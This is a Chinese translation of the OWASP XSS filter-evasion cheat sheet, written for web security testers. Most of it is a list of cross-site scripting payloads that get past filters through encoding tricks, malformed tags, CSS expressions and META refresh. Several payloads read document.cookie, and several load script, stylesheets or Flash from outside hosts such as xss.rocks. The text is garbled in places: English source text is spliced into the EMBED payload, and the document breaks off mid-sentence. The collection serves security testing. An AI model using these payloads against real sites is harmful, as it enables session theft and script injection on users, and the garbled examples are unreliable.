Xss Bypass备忘录
技术要发展,免不了风波.
也许这些攻攻防防会更好的促进技术的发展也说不定
就让这一次次的爆破换来将来更精练的技术的无比的宁静吧
我们静观其变吧!
缅怀当初那份最纯真Hacker精神!!
2017.深圳
By:Legend
译文源起
翻译本文最初源自国内在对2014年老道翻译的一个版本,发现此版本有些翻译个人认为不太满意,在加上2017年国庆长假漫漫,无人陪伴(主要还是约妹子没约出来!)。所以才对此进行翻译工作,希望对国内各位安全爱好者们有一定帮助吧。请允许译者用自己对此文档见解取一个中文名字—XSS BYPASS备忘录。文中所有代码参考OWASP官方复制,同时对于官方文档里面有些描述不太清楚地方译者通过自己对XSS理解加入一些自己见解,来帮助各位对XSS理解更上一个台阶。,然后如文档之前说带上一个妹子名字。她说名字不让说,那么咱们姑且叫她小星星吧,翻译版权归她所有。对于翻译难免存在错误。请各位看官见谅!
翻译官方修订的版本:10/2/2017
关于译者:ID太多自己都忘记叫那个比较合适,就叫笑摸二楼狗头吧!
译者说明
译者为legend,当然也有人叫我小黑.或者…名字这些都不重要.本文部分章节采用了, OWASP Cheat Sheet Series翻译项目, XSS过滤绕过备忘单[1]部分小段,大概位于”URL字符串绕过”章节特此说明.因为译者认为他们翻译比我更为通顺.其他部分皆为译者结合全文与相关资料而编写,鄙人不认为说比老道版本好多少或者差多少.每个读者感受不一样,我只能说对自己说:我已经尽力了.
如果有兴趣一起交流技术也欢迎联系我.作为一位安全圈萌新,还需要各位大佬带带,最后感谢自己的团队还有各位老铁们支持,如果没有你们意见或许就没有这份文档出现.关于如何联系我?
因上努力,果上随缘
特此说明:备忘录中译者标注和添加解释部分均用插入脚注方式或者如(译者注:)颜色标明,望知晓.
目录
XSS Filter Evasion Cheat Sheet(Chinese) 1
利用括号半开在HTML/JavaScript 进行XSS 11
利用Livescript命令进行XSS(只适用老版本Netscape) 13
利用& JavaScript includes方法进行XSS 20
利用<img>style属性配合注释符来分解XSS payload 21
利用<style>标签进行分解XSS payload 增强版 21
利用<STYLE>标签(仅限于老版本Netscape) 21
利用<style>标签的background-image属性进行XSS 21
利用<style>标签的background属性进行XSS 22
在DIV中使用background-image属性完成XSS 23
使用background-image属性配合unicoded编码完成XSS 24
使用background-image属性加上额外字符完成XSS 24
使用<EMBED>标签嵌入一个包含XSS的Flash动画 25
使用ActionScript来混淆你的XSS payload 25
利用XML的embedded方法在本地XML中嵌入Javascript 26
介绍
本文重点是为Web应用安全测试人员提供指导,以协助进行XSS安全测试。本文初始内容由于RSNake从他的开创性XSS备忘录捐赠给OWASP,该页面位于http://ha.ckers.org/xss.html。该网站现在重定向到这里https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。我们计划在这里对它进行维护和更新。同时XSS (Cross Site Scripting) Prevention Cheat Sheet的第一个版本就是受到RSnake的XSS过滤绕过备忘录启发,所以我们要感谢他的灵感。我们希望创建简单,有效指南,开发人员可以遵循指南防止XSS攻击,而不是简单告诉开发人员构造可以防止在本备忘录中所有花哨技巧的程序,因此就有XSS (Cross Site Scripting) Prevention Cheat Sheet等安全备忘录系列诞生。
测试说明
这个Bypass备忘录适用于已经了解XSS攻击基础的人群,同时又希望深入了解防护绕过的细微差别。
请注意,大多数这些XSS payload已经在列出浏览器中进行了测试。
XSS漏洞挖掘
在大多数情况下,如果页面没有对XSS进行特别过滤情况下,在存在XSS地方将会弹出”XSS”一词。可以通过URL编码对整个payload进去编码。小技巧:如果想通过快速方法去判断一个页面是否存在XSS,通常只需要在“<PLAINTEXT>”标签处注入你的payload,看看是否被打乱就可以判断是否存在XSS漏洞了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
XSS漏洞挖掘2
如果你没有足够的输入空间,去测试页面是否能执行javascript,则此payload是一个很不错的紧凑型的XSS检测代码。输入代码后,通过此查询页面源代码搜索XSS看他是否存在问题。
'';!--"<XSS>=&{()} |
没有任何过滤的利用
这是一个常规的XSS测试代码,也是最容易被拦截的,但是我建议先尝试(关于引号在任何浏览器中都不需要,所以这里省略);
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> |
常见通用XSS绕过利用代码
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script> <script>alert(document.cookie)</script>"> <img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"> <img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg"> |
利用image标签执行Java Script命令
利用image标签配合Javascript命令来实现XSS。(IE7.0浏览器不支持Java Script命令在image标签中触发XSS,但是在可以在其他标签中出发。下面例子仅展示一种,其他标签依旧同样可以。)
<IMG SRC="javascript:alert('XSS');"> |
译者注:如文中所说,还有其他方法.此文档未列出了而已.这里译者简单罗列一下.
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<img src="URL" style='Xss:expression(alert(/xss/));'> |
对屏蔽引号和分号的绕过
<IMG SRC=javascript:alert('XSS')> |
敏感字符检测的绕过
<IMG SRC=JaVaScRiPt:alert('XSS')> |
HTML实体转义
此样例中分号是必须要的。
<IMG SRC=javascript:alert("XSS")> |
利用重音符混淆绕过
如果你需要使用单双引号,但是又被过滤掉,可以使用重音符()[2]来封装你的JavaScript字符串,这个也是很多XSS防护以及过滤器没有考虑到这个字符.
<IMG SRC=javascript:alert("RSnake says, 'XSS'")>
|
<a>标签的畸形用法
利用Href规定链接目标的特性,从而发起XSS攻击,此想法由David Corss 提出,并且在Chrome浏览器上得到验证.
<a onmouseover="alert(document.cookie)">xss link</a> |
此外Chrome喜欢替你做引号补全,如果你遇到不能被执行的话.那么就直接跳过忽略他们即可.因为Chrome会修复你URL或者脚本中丢失的引号,并且将它们补全.
<a onmouseover=alert(document.cookie)>xss link</a> |
<IMG>标签的畸形用法
最早被Begeek发现(可谓短小而精悍的运行在任何浏览器上),这个XSS paylod依靠浏览器的渲染引擎解析IMG标签中的XSS payload,该标签必须在引号内运行.我认为这个最初为了纠正错误编码而出现的.这将意味着可以使用难以理解HTML标签去解析.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
利用fromCharCoded方法绕过引号限制
如果任何形式引号都被拦截的情况下,你可以使用fromCharCode()方法来创造你需要的XSS Payload.
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
利用SRC默认属性绕过,SRC域检测限制
此方法将绕过大多SRC域过滤器,可以利用事件方法插入任意Java script脚本.此方法也同样适用于From,iframe,input,Embed等任何HTML标记类型元素,同时它还允许标记类型相关事件作为备选进行替换,例如onblur,onclick,在后面为你附近一份可用事件表.由于Abdullah Hussam提供. Abdulahhusam编辑.
<IMG SRC=# onmouseover="alert('xxs')"> |
将SRC默认值为空.
<IMG SRC= onmouseover="alert('xxs')"> |
完全不设置SRC属性
<IMG onmouseover="alert('xxs')"> |
基于erro事件触发
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> |
IMG onerror和Java script编码绕过
<img src=x onerror="javascrip&
#0000116:alert('XS S')"> |
十进制在html代码中运用
此示例所使用的XSS payload无法有些浏览器下使用.<在Gecko引擎下IMG标签在firefox和Netscape 8.1+不起作用>
<IMG SRC=javascript:alert(
'XSS')> |
十进制且不带分号在html代码中运用
编码绕过xss过滤器经常会用到"&#XX;",但是大多数人不太知道编码限制最多允许7位字符.导致错误认为一个html编码需要用;去结束,那些对字符串解码也是同样,如$tmp_string =~ s/.*\&#(\d+);.*/$1/.(作者注:无意中发现)
<IMG SRC=javascript:a&
#0000108ert('XSS')> |
十六进制且不带分号在html代码中运用
这也是针对上述字符串$tmp_string =~ s/.*\&#(\d+);.*/$1/进行XSS攻击.
<IMG SRC=javascript:alert('XSS')> |
使用TAB绕过
用于绕过某些XSS防护.
<IMG SRC="jav ascript:alert('XSS');"> |
对编码的TAB进行绕过
使用TAB编码[3]这个来分解XSS.
<IMG SRC="jav ascript:alert('XSS');"> |
利用换行符来拆解XSS
一些人认为09-13(十进制)都可进行此类型攻击,其实非也.其实只有09(tab),10(换行)和13(回车)可以使用.查看ascii表,下面四个示例将展现此payload.
<IMG SRC="jav ascript:alert('XSS');"> |
利用回车编码去拆解XSS
注意:上面用这些字符串比规定的要长,因为0是可以被省略的.通常我们看到的过滤器绕过十六进制和十进制编码是两到三个字符.正确的应该是一到七个字符.
<IMG SRC="jav ascript:alert('XSS');"> |
Null空字符分割javascript指令
Null空字符也可以作为XSS payload.但是不能像上边那样.你需要直接写入到他们利用工具中例如burp,或者使用%00字在你的url字符串里.在opera的老板(大概7.11 on windows)对于173个char会受到影响.但是null char %00更有用,并帮助我们绕过某些真实的防护,类似示例中:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out |
利用图像元素中Javascript的空格来绕过
XSS过滤匹配模式很多情况都没有考虑”Javascript:”中可能有存在空格的情况,因此否则无法渲染.但是这也是导致错误的假设,认为你不可以有引号和”Javascript:”关键字.实际上,你可以从十进制的%01~%32中得到任何字符;
<IMG SRC="  javascript:alert('XSS');"> |
非字母非数字型XSS
Firefox HTML解析器设定一个在html关键字中非字母非数字都不是有效的.因为这些字符会被视为空格或非有效的HTM标签.问题是一些XSS过滤器假设他们正在匹配关键字然后被空格拆解了.例如"<SCRIPT\s" != "<SCRIPT/XSS\s":
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT> |
然后,基于上述相同想法,使用Ranke fuzzer进行拓展.Gecko渲染引擎允许字母,数字或者HTML封装字符(如引号,尖括号)之外字符位于事件处理和等号之间.从而绕过XSS过滤器.注意这也只是适用于重音符如下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert("XSS")> |
根据Yair Amit提醒,IE和Gecko渲染引擎之间略有不同,只允许标签和参数之间没有空格和斜杠.如果系统不允许空格,这示例可能很有用.
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT> |
多重尖括号
由Franz Sedlmaier提交,这个XSS paylod可以通过首先使用匹配”<>”的检测引擎,然后通过比较内部标签,而没有使用更加有效的方式(例如匹配整个字符串尖括号和相关标签).”//”注释在结尾的用于防止Javascrip错误.
<<SCRIPT>alert("XSS");//<</SCRIPT> |
没有</script>标签绕过
在Gecko渲染引擎模式下firefox和netscape8.1中,实际上并不需要常规XSSpayload中的”></script>”部分.firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!这不需要任何额外的HTML.你可以添加引号,如果需要的话.但通常并不是必须的,注意:我不清楚这个代码写入到html代码会闭合成什么样子.
<SCRIPT SRC=http://xss.rocks/xss.js?< B > |
Script标签中协议解析绕过
这个玩法由Łukasz Pilorz提出来的,并且Ozh's基于上下文提出协议解析绕过方法.这个XSS payload运行在IE.Netscape在IE和opera渲染模式中,不需要考虑编码问题,因为浏览器在”.j”写法中,会自动识别<script>标签.这种方法非常有效在输入长度受到限制,时候来进行绕过.当然域名越短越好.
<SCRIPT SRC=//ha.ckers.org/.j> |
利用括号半开在HTML/JavaScript 进行XSS
跟firefox不同,IE渲染引擎不会加入额外的数据在你页面上.但是它允许Javascript利用在<img>标签从而产生XSS payload.因为它不需要一个结束”>”尖括号.你可以插入这个XSS向量在任何HTML标签后面.甚至可以不用”>”来闭合标签.注意:这样确实会搞乱HTML,这取决于他下面的HTML.同时对于这种入侵检测系统(NIDS)正则匹配可以直接绕过,表达式为: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 因为它不需要”>”结束闭合标签.它也是可以有效对抗真实XSS过滤器,我曾经用这种半开的<iframe>标签代替<img>标签去绕过过滤器.
<IMG SRC="javascript:alert('XSS')" |
双半开括号”<<”绕过
使用一个半开的”<”尖括号在payload结尾处代替”>”进行闭合,会在Netscape和Gecko两个渲染下产生不同效果.firefox正常使用,Netscape就不行;
<iframe src=http://xss.rocks/scriptlet.html < |
利用Javascript转义被转义绕过
当用户在一个应用程序编辑自定义信息的时候,在常规Javascript代码中是这样,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>.如果你想插入你自己的Javascript代码时候,会被服务转义掉其中某些引号,这时你需要通过转义被转义字符来绕过它.从而使最终输入代码类似于<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT>.最终双引号被服务器转义,并且触发了XSS payload.示例如下:
\";alert('XSS');// |
另外一种方法就是,如果json或者Javascript转义被应用嵌入数据,而不是HTML编码,则Payload如下示例:
</script><script>alert('XSS');</script> |
利用</title>标签进行XSS
这是一个非常easy的XSS payload,可以利用闭合<title>标签,可以封装恶意的XSS攻击.
</TITLE><SCRIPT>alert("XSS");</SCRIPT> |
利用<input>标签进行XSS
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
译者注:其实还可以利用<input>标签中的hideeen属性来触发,网上已经有详细描述,这里就不叙述了,示例如下:
<input type="hidden" name="returnurl" value="[USER INJECT]" /> |
利用<BODY >标签进行XSS
<BODY BACKGROUND="javascript:alert('XSS')"> |
利用<img>标签的Dynsrc属性进行XSS
<IMG DYNSRC="javascript:alert('XSS')"> |
译者注:不过只在IE和Netscape中支持,Firefox会提示proprietary attribute或者拒绝访问.同时译者在这里说明下,只针对IE6以前,到以后版本就不支持了.望注意(*^__^*).
利用<img>标签的Lowsrc属性进行XSS
<IMG LOWSRC="javascript:alert('XSS')"> |
基于CSS的List-style-image属性进行XSS
使用图像来替换列表项的标记,此Javascript指令只能在IE下使用,是一个不是特别有用的XSS paylod.
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
译者注:由于翻译工作占用大量时间,没有在具体环境下测试此paylod,但是理论上” list-style-image”, 所有浏览器都支持 list-style-image 属性。
利用<img>标签中的VBscript命令进行XSS
<IMG SRC='vbscript:msgbox("XSS")'> |
利用Livescript命令进行XSS(只适用老版本Netscape)
<IMG SRC="livescript:[code]"> |
利用SVG的<object>标签进行XSS
<svg/onload=alert('XSS')> |
基于ECMAScript 6的XSS
Set.constructoralert\x28document.domain\x29
|
利用<BODY>标签ONLOAD属性进行XSS
此方法不需要”javascript:”或”<script …”任何编码方式来进行XSS攻击. Dan Crowley另外指出,你可以在等号之前放一个空格("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')> |
基于事件句柄(或称为:事件处理器)
它可以用于上述类似XSS攻击(这是在撰写本文时在网络上最全面的列表了).感谢Rene Ledosquet在HTML+TIME上更新,此外你可以参考Dottoro Web Reference当然还有一份很好的Javascript事件列表.
- FSCommand() (攻击者可以使用它当执行一个嵌入的flash对象时)
- onAbort() (当用户中止加载图像时)
- onActivate() (当对象设置为活动元素时)
- onAfterPrint() (在用户打印或预览打印作业后激活)
- onAfterUpdate() (在更新源对象中的数据后激活数据对象)
- onBeforeActivate() (在将对象设置为活动元素之前触发)
- onBeforeCopy() (攻击者在将选择复制到剪贴板之前执行攻击字符串 - 攻击者可以使用 execCommand("Copy") 功能执行此操作)
- onBeforeCut() (攻击者在选择被切断之前执行攻击字符串)
- onBeforeDeactivate() (在从当前对象更改activeElement之后触发)
- onBeforeEditFocus() (在可编辑元素中包含的对象进入UI激活状态之前触发,或者当可控制可选容器对象被选择时触发)
- onBeforePaste() (用户需要被欺骗粘贴或被强制使用 execCommand("Paste") 功能)
- onBeforePrint() (用户需要被骗到打印或攻击者可以使用 print() or execCommand("Print") 功能).
- onBeforeUnload() (用户需要被诱骗关闭浏览器 - 攻击者无法卸载窗口,除非从父级生成.)
- onBeforeUpdate() (在更新源对象中的数据之前激活数据对象)
- onBegin() (当元素的时间轴开始时,onbegin事件会立即触发)
- onBlur() (在另一个弹出窗口加载窗口失去焦点的情况下)
- onBounce() (当选框对象的行为属性设置为 "alternate"并且选框的内容到达窗口的一边时触发.)
- onCellChange() (数据提供者中数据更改时触发)
- onChange() 选择, text,或TEXTAREA字段失去焦点,或其值已被修改)
- onClick() (需要人点击表单)
- onContextMenu() (用户需要右击攻击区域)
- onControlSelect() (当用户即将对对象进行控件选择时触发)
- onCopy() (用户需要复制某些东西,或者可以使用 execCommand("Copy") 命令利用它)
- onCut() (用户需要复制某些东西,或者使用execCommand("Cut") 命令可以利用它.)
- onDataAvailable() (用户需要更改元素中的数据,或者攻击者可以执行相同的功能)
- onDataSetChanged() (由数据源对象公开的数据集更改时触发)
- onDataSetComplete() (触发以指示所有数据可从数据源对象获得)
- onDblClick() (用户双击表单元素或链接)
- onDeactivate() (当activeElement从当前对象更改为父文档中的另一个对象时触发)
- onDrag() (要求用户拖动对象)
- onDragEnd() (要求用户拖动对象)
- onDragLeave() (要求用户将对象拖放到有效的位置)
- onDragEnter() (要求用户将对象拖放到有效位置)
- onDragOver() (要求用户将对象拖放到有效位置)
- onDragDrop() (用户将一个对象(例如文件)放到浏览器窗口上)
- onDragStart() (当用户开始拖动操作时发生)
- onDrop() (用户将一个对象(例如文件)放到浏览器窗口上)
- onEnd() (当时间轴结束时,onEnd事件触发.)
- onError() (加载文档或图像会导致错误)
- onErrorUpdate() (当更新数据源对象中的关联数据时发生错误时,在数据绑定对象上触发)
- onFilterChange() (视觉过滤器完成状态更改时触发)
- onFinish() (当选框完成循环时,攻击者可以创建漏洞)
- onFocus() (攻击者在窗口获得焦点时执行攻击字符串)
- onFocusIn() (当窗口获得焦点时攻击者执行攻击字符串)
- onFocusOut() (当窗口失去焦点时攻击者执行攻击字符串)
- onHashChange() (当文档的当前地址的片段标识符部分更改时触发)
- onHelp() (攻击者在窗口对焦时用户点击F1时执行攻击字符串)
- onInput() (元素的文本内容通过用户界面进行更改)
- onKeyDown() (用户按下一个键)
- onKeyPress() (用户按下或按住一个键)
- onKeyUp() (用户释放一个键)
- onLayoutComplete() (用户必须打印或打印预览)
- onLoad() (攻击者在窗口加载后执行攻击字符串)
- onLoseCapture() (可以通过 releaseCapture() 方法利用)
- onMediaComplete() (当使用流媒体文件时,该事件可能在文件开始播放之前触发)
- onMediaError() (用户在浏览器中打开包含媒体文件的页面,当有问题时触发事件)
- onMessage() (当文档收到消息时触发)
- onMouseDown() (攻击者需要让用户点击图像)
- onMouseEnter() (光标移动一个对象或区域)
- onMouseLeave() (攻击者需要让用户将鼠标悬停在图像或表上,然后再次关闭)
- onMouseMove() (攻击者需要让用户将鼠标放在图像或表格上)
- onMouseOut() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)
- onMouseOver() (光标移动一个对象或区域)
- onMouseUp() (攻击者需要让用户点击图像)
- onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
- onMove() (用户或攻击者会移动页面)
- onMoveEnd() (用户或攻击者会移动页面)
- onMoveStart() (用户或攻击者会移动页面)
- onOffline() (如果浏览器工作在在线模式并且它开始脱机工作,则会发生)
- onOnline() (如果浏览器处于离线模式并且开始在线工作,则会发生)
- onOutOfSync() (中断元素根据时间轴定义的播放媒体的能力)
- onPaste() (用户需要粘贴或者攻击者可以使用 execCommand("Paste") 功能)
- onPause() (当时间线暂停时,包括body元素在内的每个元素处于活动状态时,onpause事件触发)
- onPopState() (用户导航会话历史时触发)
- onProgress() (攻击者会将此作为Flash影片加载)
- onPropertyChange() (用户或攻击者需要更改元素属性)
- onReadyStateChange() (用户或攻击者需要更改元素属性)
- onRedo() (用户在撤销交易历史中前进)
- onRepeat() (事件每次重复一次时间轴,不包括第一个完整周期)
- onReset() (用户或攻击者重置表单)
- onResize() (用户将调整窗口大小;攻击者可以自动初始化,例如: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeEnd() (用户将调整窗口大小;攻击者可以自动初始化,例如: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeStart() (用户可以调整窗口大小;攻击者可以自动初始化,例如: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResume() (时间轴恢复时,每个元素上的onresume事件都会触发,包括body元素)
- onReverse() (如果元素的repeatCount大于1,则此事件会在时间线开始向后播放时触发)
- onRowsEnter() (用户或攻击者需要更改数据源中的一行)
- onRowExit() (用户或攻击者需要更改数据源中的一行)
- onRowDelete() (用户或攻击者需要删除数据源中的一行)
- onRowInserted() (用户或攻击者需要在数据源中插入一行)
- onScroll() (用户需要滚动,或者攻击者可以使用scrollBy() 函数)
- onSeek() (当时间线设置为在向前方向以外的任何方向播放时,onreverse事件触发)
- onSelect() (用户需要选择一些文本 - 攻击者可以自动初始化,如: window.document.execCommand("SelectAll");)
- onSelectionChange() (用户需要选择一些文本 - 攻击者可以自动初始化,如: window.document.execCommand("SelectAll");)
- onSelectStart() (用户需要选择一些文本 - 攻击者可以自动初始化,如: window.document.execCommand("SelectAll");)
- onStart() (在每个选框循环的开始处触发)
- onStop() (用户需要按停止按钮或离开网页)
- onStorage() (存储区域更改)
- onSyncRestored() (用户中断元素根据时间轴定义的播放媒体的能力)
- onSubmit() (要求攻击者或用户提交表单)
- onTimeError() (用户或攻击者将dur属性设置为无效值)
- onTrackChange() (用户或攻击者在播放列表中更改轨道)
- onUndo() (用户在撤消事务历史记录中向后退)
- onUnload() (当用户点击任何链接或按下后退按钮或攻击者强制点击)
- onURLFlip() (当由HTML + TIME(定时互动多媒体扩展)媒体标签播放的高级流格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,该事件触发)
- seekSegmentTime() (这是一种在元素段时间线上定位指定点并从该点开始播放的方法,该段由包括使用AUTOREVERSE属性的反向播放的时间线的一个重复组成.)
利用< BGSOUND >标签进行XSS
<BGSOUND SRC="javascript:alert('XSS');"> |
利用& JavaScript includes方法进行XSS
<BR SIZE="&{alert('XSS')}"> |
利用样式表<ink>标签进行XSS
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
利用远程样式表进行XSS
(使用像远程样式表这样的东西,你可以利用样式参数作为XSS,可以用嵌入表达式方式来完成XSS攻击).但是它仅仅适用在IE浏览器或者Netscape 8.1+下运行.需要注意页面上没有显示包含Javascript代码.使用这样的远程样式表,至少需要使用body标签,因此除非显示paylod本身的其他内容.如果他是一个空白页面,你需要添加至少一个字母到页面显示,确保payload可以正常工作..
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
利用远程样式表进行XSS part 2
这跟上述原理相同,只不过这里使用的<STYLE>标签来代替<LINK>,稍微变动下被用来攻击GOOGLE Desktop.注意:如果此payload遇到闭合后会出现在htrml上,则可以考虑删除</style>.如果你在XSS脚本攻击中无法使用等号或斜杠,那么可以试试这个:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE> |
利用远程样式表进行XSS part 3
适用于Opera8.0(不支持9.X),根据RFC2616设置链接头,.它不符合HTTP1.1的规范,但是有一些浏览器仍然允许它(如firefox和Opera).这里技巧就是,我设置一个http头(这里与HTTP头没什么区别,例如: <http://xss.rocks/xss.css>; REL=stylesheet).这样带远程XSS payload将会运行,但是它并不支持FireFox.
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> |
利用远程样式表进行XSS part 4
仅适用于Gecko渲染引擎,并将XUL文件绑定到父页面.个人认为这里是讽刺Netscape,Gecko是更安全的,因此绝大多数网站容易受到这种影响:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> |
利用<style>标签来分解XSS payload
此payload有时会将IE浏览器中造成无限循环.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
利用<img>style属性配合注释符来分解XSS payload
由Roman Ivanov创建.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
利用<style>标签进行分解XSS payload 增强版
这与上述XSS payload混合,但他确实展现了<style>标签被分隔解析是多困难.同样它也会在IE下造成无限弹窗.
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'> |
利用<STYLE>标签(仅限于老版本Netscape)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
利用<style>标签的background-image属性进行XSS
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> |
利用<style>标签的background属性进行XSS
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
利用具有style属性的匿名的HTML标签进行XSS
IE渲染引擎模式中IE6.0和Netscape8.1+并不关系你创建的html标签是否存在,只要它是以<>全开括号和字母开头就行;
<XSS STYLE="xss:expression(alert('XSS'))"> |
利用本地HTC文件进行XSS
这跟上述两个XSSpayload有点不同,因为它使用的.htc文件必须与XSS payload在同一域内.示例文件通过写入Javascript并利用style属性来运行;
<XSS STYLE="behavior: url(xss.htc);"> |
US-ASCII编码
US-ASCII编码(由于Kurt Huwig发现).这里使用7位代替8位,该XSS payload可以绕过很多基于内容检测的过滤器,但仅限于主机上使用US-ASCII编码传输或者你设置为此编码时才起作用.这对于WEB应用防火墙XSS过滤比对服务器端过滤绕过更有用.已知Apache Tomcat目前唯一以US-ASCII编码传输的服务器.
¼script¾alert(¢XSS¢)¼/script¾ |
利用< META >标签进行XSS
利用<META>奇怪之处在于它不会在http头中发送引用referrer,因此它可以用用于某些类型攻击,你需要避免引入URL:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
利用<META>标签的content属性进行XSS
这种方案其实很不错,因为他没有任何明显的script或者Javascript指令,因为它使用base64编码.具体请参考RFC 2397了解更多详情,或者访问此处XSS编码器对你的XSSpaylod进行base64编码.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
利用<META>标签的带URL参数进行XSS绕过
如果目标网站尝试检查URL是否包含http://,那么你可以使用以下payload来绕过它.( 由于Moritz Naumann提出);
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
利用<IFRAME>标签进行XSS
如果目标网站允许<IFRAME>,那么会产生很多XSS问题.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
利用事件触发<IFRAME>标签的XSS
Iframes还有大多数其他元素可以使用像一下基于事件来进行混淆(由于David Cross提交.)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
利用<FRAME>进行XSS
<FRAME>与<IFRAME>存在相同的问题.
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
利用<TABLE>标签进行XSS
<TABLE BACKGROUND="javascript:alert('XSS')"> |
利用<TD>标签进行XSS
如图上面所述,<TD>也容易受到包含Javascript的XSS payload攻击.
<TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
利用<DIV>标签
在DIV中使用background-image属性完成XSS
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
使用background-image属性配合unicoded编码完成XSS
这只是稍微修改去混淆下URL参数.它最早被Renaud Lifchitz发现用于攻击hotmaill;
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
使用background-image属性加上额外字符完成XSS
Rnaske建立了一个快速的XSS Fuzzer来检测半开扩号后允许的字符,但在安全的站点模式下IE和Netscape8.1中Javascript命令之前.这些都是十进制的,但当然可以利用十六进制进行填充.(可以使用以下任意字符: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
利用DIV表达式完成XSS
这个payload稍微修改下在冒号和” expression”中间加入一个换行符,可以非常有效绕过真实的XSS防护.
<DIV STYLE="width: expression(alert('XSS'));"> |
利用IE注释块进行XSS绕过
尽在IE5.0及以上版本和使用IE渲染引擎模式的Netscape下有效.一些网站认为在注释内的内容是安全的,因此不需要移除.或者系统能够在页面某些部分添加注释标签,从而让它们失去有害性.如我们所知,这些操作(把内容注释掉的操作)可能是于事无补的:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT> <![endif]--> |
利用<BASE>标签进行XSS
这在IE和Netscape8.1的安全模式下能起作用.你需要使用//注释掉下一个字符,避免JavaScript错误,从而让我们的XSS攻击向量正常执行.这也依赖于一个条件:网站图像使用相对地址如"images/image.jpg”,而非绝对地址.如果地址中包含了斜杠("/images/image.jpg”),你可以在XSS payload移除一个:
<BASE HREF="javascript:alert('XSS');//"> |
利用<OBJECT>标签进行XSS
如果页面允许<OBJECT>标签,你甚至可以在页面挂马.下面链接指向的文件是一个可以包含你的XSS payload的HTML文件;
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT> |
使用<EMBED>标签嵌入一个包含XSS的Flash动画
如果你添加allowScriptAccess=“never"和allownetworking="internal”属性,可以减轻这种风险(感谢Jonathan Vanasco提供信息);
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED> |
你可以嵌入包含XSS payload的SVG
这个例子只在Firefox下有效,但它比上面的攻击向量要好一些,因为这不需要用户安装或开启Flash(感谢nEUrOO提供):
